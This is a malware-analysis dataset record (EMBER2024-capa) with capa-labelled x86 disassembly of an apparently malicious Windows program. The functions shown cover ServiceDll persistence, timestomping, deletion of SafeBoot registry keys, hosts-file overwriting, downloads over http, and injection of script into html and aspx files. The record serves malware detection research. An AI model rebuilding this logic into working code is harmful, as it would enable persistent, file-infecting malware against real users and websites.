joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401bef
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
and dword [ebp - 0x11c], 0
or dword [ebp - 0xc], 0xffffffff
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x118]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
and dword [ebp - 0x120], 0
jmp 0x401c36
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x32
jge 0x401c70
push 0
push 0
push 3
push 0
push 1
push connect
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x401c66
jmp 0x401c70
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401c29
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401c8a
cmp dword [ebp - 8], 0xffffffff
jne 0x401ca6
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
and dword [eax], 0
mov eax, dword [ebp + 0x10]
and dword [eax], 0
xor eax, eax
jmp 0x401d57
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, dword [ebp - 8]
add eax, 0x20
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [ebp - 8]
add eax, 0x20
push eax
push 0
push dword [ebp - 0x11c]
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push dword [ebp - 0x11c]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x11c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
cmp dword [ebp + 8], 0
je 0x401d41
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0x16]
and eax, 0xdfff
mov ecx, dword [ebp - 0x10]
mov word [ecx + 0x16], ax
jmp 0x401d54
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0x16]
or eax, 0x2000
mov ecx, dword [ebp - 0x10]
mov word [ecx + 0x16], ax
xor eax, eax
inc eax
leave
ret 0xc
Function at 0x401d5b
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push 0x400
push 0
lea eax, [ebp - 0x408]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push dword [0x40b548]
push 0x409478
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x2001f
push 0
lea eax, [ebp - 0x408]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.Parameters
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0xc]
push 2
push 0
push str.ServiceDll
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 8
Function at 0x401e0c
Capabilities:
Check if file exists
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409f90
push 0x408ed0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0x838
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x1c], 0
or dword [ebp - 0x2c], 0xffffffff
and dword [ebp - 0x28], 0
and dword [ebp - 0x30], 0
and dword [ebp - 0x24], 0
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x20], eax
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
jne 0x401f09
and dword [ebp - 0x84c], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x84c], eax
push 0x800
push 0
lea eax, [ebp - 0x848]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x84c]
lea eax, [ebp - 0x848]
push eax
push dword [ebp - 0x84c]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
and dword [ebp - 4], 0
push 0xffffffffffffffff
lea eax, [ebp - 0x848]
push eax
push 0
push 0x401ef9
mov edi, edi
push ebp
mov eax, dword [0x40dc44]
add eax, 3
jmp eax
mov dword [ebp - 0x30], 2
and dword [ebp - 0x24], 0
push 0
push 0
push dword [ebp - 0x30]
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
jne 0x401f3d
xor eax, eax
jmp 0x40201b
push 0x18
push 0
lea eax, [ebp - 0x48]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
cmp dword [ebp - 0x30], 2
jne 0x401f9a
mov dword [ebp - 0x48], 0x1ec61500
mov dword [ebp - 0x44], 0x1c479c6
push 8
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 8
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x38]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
push 0
push dword [ebp - 0x24]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [0x40dc3c]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
push 0
lea eax, [ebp - 0x28]
push eax
mov eax, dword [0x40dc40]
sub eax, dword [ebp - 0x24]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401fe1
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x40201b
push 0
push 0
push dword [0x40dc40]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp - 0x2c]
call dword [ebp - 0x20]
xor eax, eax
inc eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x402d01
Capabilities:
Delete file
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
and dword [ebp - 8], 0
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
push 0xffffffffffffffff
call fcn.00401adf
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
push str.InternetOpenA
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40dc4c], eax
push str.InternetOpenUrlA
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40dc50], eax
push str.HttpQueryInfoA
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40dc54], eax
push str.InternetReadFileExA
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40dc58], eax
push str.InternetCloseHandle
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40dc5c], eax
push str.InternetSetStatusCallback
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40dc60], eax
push 1
push 0x40bb70
call fcn.00402517
mov dword [ebp - 4], eax
xor eax, eax
inc eax
je 0x402e4e
push 0x40
push 0
lea eax, [ebp - 0x450]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x40
lea eax, [ebp - 0x450]
push eax
push dword [ebp + 0x10]
push dword [ebp - 4]
call fcn.00402772
test eax, eax
jne 0x402de8
and dword [ebp - 8], 0
jmp 0x402e4e
push 0x400
push 0
lea eax, [ebp - 0x410]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 0xc]
push dword [0x40be64]
lea eax, [ebp - 0x450]
push eax
push str.http:___s:_d__s
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp + 8]
lea eax, [ebp - 0x410]
push eax
call fcn.00402a20
cmp eax, 1
jne 0x402e49
mov dword [ebp - 8], 1
jmp 0x402e4e
jmp 0x402dac
mov eax, dword [ebp - 4]
mov dword [ebp - 0x454], eax
push dword [ebp - 0x454]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 8]
leave
ret 0xc
Function at 0x402eca
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
or dword [ebp - 4], 0xffffffff
cmp dword [0x40dc64], 0
jne 0x402f57
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [0x40dc64], eax
and dword [ebp - 8], 0
jmp 0x402f00
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x402f57
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 8
jmp 0x402f1f
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x402f46
mov eax, dword [ebp - 0xc]
and eax, 1
je 0x402f3c
mov eax, dword [ebp - 0xc]
shr eax, 1
xor eax, 0xedb88320
mov dword [ebp - 0xc], eax
jmp 0x402f44
mov eax, dword [ebp - 0xc]
shr eax, 1
mov dword [ebp - 0xc], eax
jmp 0x402f18
mov eax, dword [ebp - 8]
mov ecx, dword [0x40dc64]
mov edx, dword [ebp - 0xc]
mov dword [ecx + eax*4], edx
jmp 0x402ef9
and dword [ebp - 0x14], 0
jmp 0x402f64
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jae 0x402fa0
and dword [ebp - 0x18], 0
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
movsx eax, byte [eax]
xor eax, dword [ebp - 4]
and eax, 0xff
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
shr eax, 8
and eax, 0xffffff
mov ecx, dword [ebp - 0x18]
mov edx, dword [0x40dc64]
xor eax, dword [edx + ecx*4]
mov dword [ebp - 4], eax
jmp 0x402f5d
mov eax, dword [ebp - 4]
not eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret 8
Function at 0x4047ec
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
and dword [eax + 0x14], 0
mov eax, dword [ebp + 8]
and dword [eax + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0x10325476
pop ebp
ret 4

Function at 0x4058d9
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x4058f7
push 0
push 0
push 0
push 0x40539d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
pop ebp
ret 0xc

Function at 0x4058fe
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
and dword [ebp - 0x158], 0
and dword [ebp - 0x154], 0
and dword [ebp - 4], 0
mov dword [ebp - 0x154], 0x144
push 2
push 0
xor eax, eax
sub eax, dword [ebp - 0x154]
add eax, 4
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x144
push 0
lea eax, [ebp - 0x150]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x154]
sub eax, 4
push eax
lea eax, [ebp - 0x150]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push str._script
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
je 0x4059d5
push dword [ebp - 0x158]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4059d1
push 2
push 0
push dword [ebp - 0x158]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
sub ecx, eax
push ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x4059d5
xor eax, eax
jmp 0x4059d8
xor eax, eax
inc eax
leave
ret 8
Function at 0x4059dc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409fc0
push 0x408ed0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0x128
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 0x1c], 0
or dword [ebp - 0x20], 0xffffffff
and dword [ebp - 4], 0
cmp dword [0x40c67c], 0
jne 0x405a25
or dword [ebp - 4], 0xffffffff
jmp 0x405b6a
cmp dword [0x40c680], 0
jne 0x405aa9
push 0x104
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x5c
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
inc eax
push eax
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x2e
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
and dword [eax], 0
push str.index
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x405aa9
push str.Default
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x405aa9
or dword [ebp - 4], 0xffffffff
jmp 0x405b6a
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x405ad6
or dword [ebp - 4], 0xffffffff
jmp 0x405b6a
push 0
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x20]
call fcn.0040640b
push 0x40c690
push dword [ebp - 0x20]
call fcn.004058fe
test eax, eax
jne 0x405b04
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
jmp 0x405b6a
push 2
push 0
push 0
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x1c]
push eax
push 0x40c690
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x40c690
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x20]
call fcn.0040640b
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
jmp 0x405b6a
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x405f71
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, 0x2c
push eax
push dword [ebp + 0xc]
push str._s_s
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [ebp + 8]
movsx eax, byte [eax + 0x2c]
cmp eax, 0x2e
je 0x406152
mov eax, dword [ebp + 8]
movzx eax, word [eax + 0x2c]
cmp eax, 0x2e2e
je 0x406152
and dword [ebp - 0x10c], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax]
and eax, 0x10
je 0x406020
push 0x104
push 0
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x409a34
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call fcn.00406156
push 0x2e
mov eax, dword [ebp + 8]
add eax, 0x2c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x406152
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
push 0x409a5c
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x406077
lea eax, [ebp - 0x108]
push eax
call fcn.00406d98
jmp 0x406152
push 0x409a60
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4060cb
push str.html
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4060cb
push 0x409a6c
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4060cb
push str.aspx
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4060d9
lea eax, [ebp - 0x108]
push eax
call fcn.004059dc
jmp 0x406152
push 0x409a78
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x406152
and dword [ebp - 0x21c], 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0x405b7b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x21c], eax
push 0x40d418
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x40613b
push 0xffffffffffffffff
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
leave
ret 8
Function at 0x406156
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
or dword [ebp - 0x24c], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x248]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0x409a7c
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp - 0x248]
and eax, 0xffffff
cmp eax, 0x5c3a43
jne 0x40625a
and dword [ebp - 0x250], 0
push 0x104
push 0
lea eax, [ebp - 0x358]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x248]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
dec eax
push eax
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x358]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x5c
lea eax, [ebp - 0x358]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
je 0x40625a
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
and dword [ebp - 0x35c], 0
jmp 0x40622d
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0x15
jge 0x40625a
mov eax, dword [ebp - 0x35c]
push dword [eax*4 + 0x40b4f0]
push dword [ebp - 0x250]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x406258
jmp 0x4062e3
jmp 0x406220
push 0x140
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x24c], eax
push dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.00405f71
push 0x140
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x24c]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4062d7
push dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.00405f71
jmp 0x4062af
push dword [ebp - 0x24c]
call dword [sym.imp.KERNEL32.dll_FindClose]
leave
ret 4

Function at 0x40640b
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 1
cmp dword [ebp + 8], 0xffffffff
jne 0x406425
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x406491
cmp dword [ebp + 0x10], 0
jne 0x406461
push 0x18
push 0
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov eax, dword [ebp + 0xc]
add eax, 8
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x40645c
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x406491
cmp dword [ebp + 0x10], 1
jne 0x40648e
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov eax, dword [ebp + 0xc]
add eax, 8
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x406489
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x406491
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x4066d5
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 8], str.127.0.0.1_______localhost_r_n
and dword [ebp - 4], 0
or dword [ebp - 0xc], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40d520
push str._sdriversetchosts
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
Function at 0x40693d
Capabilities:
Create thread
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc14
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0x408cab
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.SYSTEMCurrentControlSetControlSafeBootMinimal
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push str.SYSTEMCurrentControlSetControlSafeBootNetwork
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
cmp dword [0x40b550], 0xffffffff
je 0x406a55
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push 0x400
push 0
lea eax, [ebp - 0xc10]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push dword [0x40b548]
push dword [0x40b544]
push str._s_s_s
lea eax, [ebp - 0xc10]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0xc10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
push 0x800
push 0
lea eax, [ebp - 0x810]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0xc]
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0xc10]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0
mov eax, dword [ebp - 0xc]
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x810]
push eax
push 0x2220c4
push dword [0x40b550]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push 0
push 0
push 0x40676f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
je 0x406a90
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xc14], eax
mov eax, dword [ebp - 0xc14]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
push 0x3c
pop ecx
div ecx
cmp eax, 3
jb 0x406a83
jmp 0x406a90
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406a55
push 0
push 0xc7
push 0x20
push 0x40c884
call fcn.00401000
push 0
push 0xc7
push 0x26c
push 0x40c8a8
call fcn.00401000
push 0
push dword [0x40b554]
push 0x140
push 0x40c690
call fcn.00401000
call fcn.004066d5
push 0x40dc80
push 0x40dc74
push dword [0x40dc38]
call fcn.00401bef
cmp dword [0x40c674], 0
je 0x406b17
cmp dword [0x40dc74], 0
je 0x406b17
cmp dword [0x40dc80], 0
je 0x406b17
push 0
push 0
push 0
push 0x406324
push 0
push 0
call dword [ebp - 4]
cmp dword [0x40c684], 0
je 0x406b32
push 0
push 0
push 0
push 0x408a98
push 0
push 0
call dword [ebp - 4]
cmp dword [0x40c688], 0
je 0x406b4d
push 0
push 0
push 1
push 0x4085dc
push 0
push 0
call dword [ebp - 4]
cmp dword [0x40c68c], 0
je 0x406b68
push 0
push 0
push 2
push 0x4085dc
push 0
push 0
call dword [ebp - 4]
leave
ret 4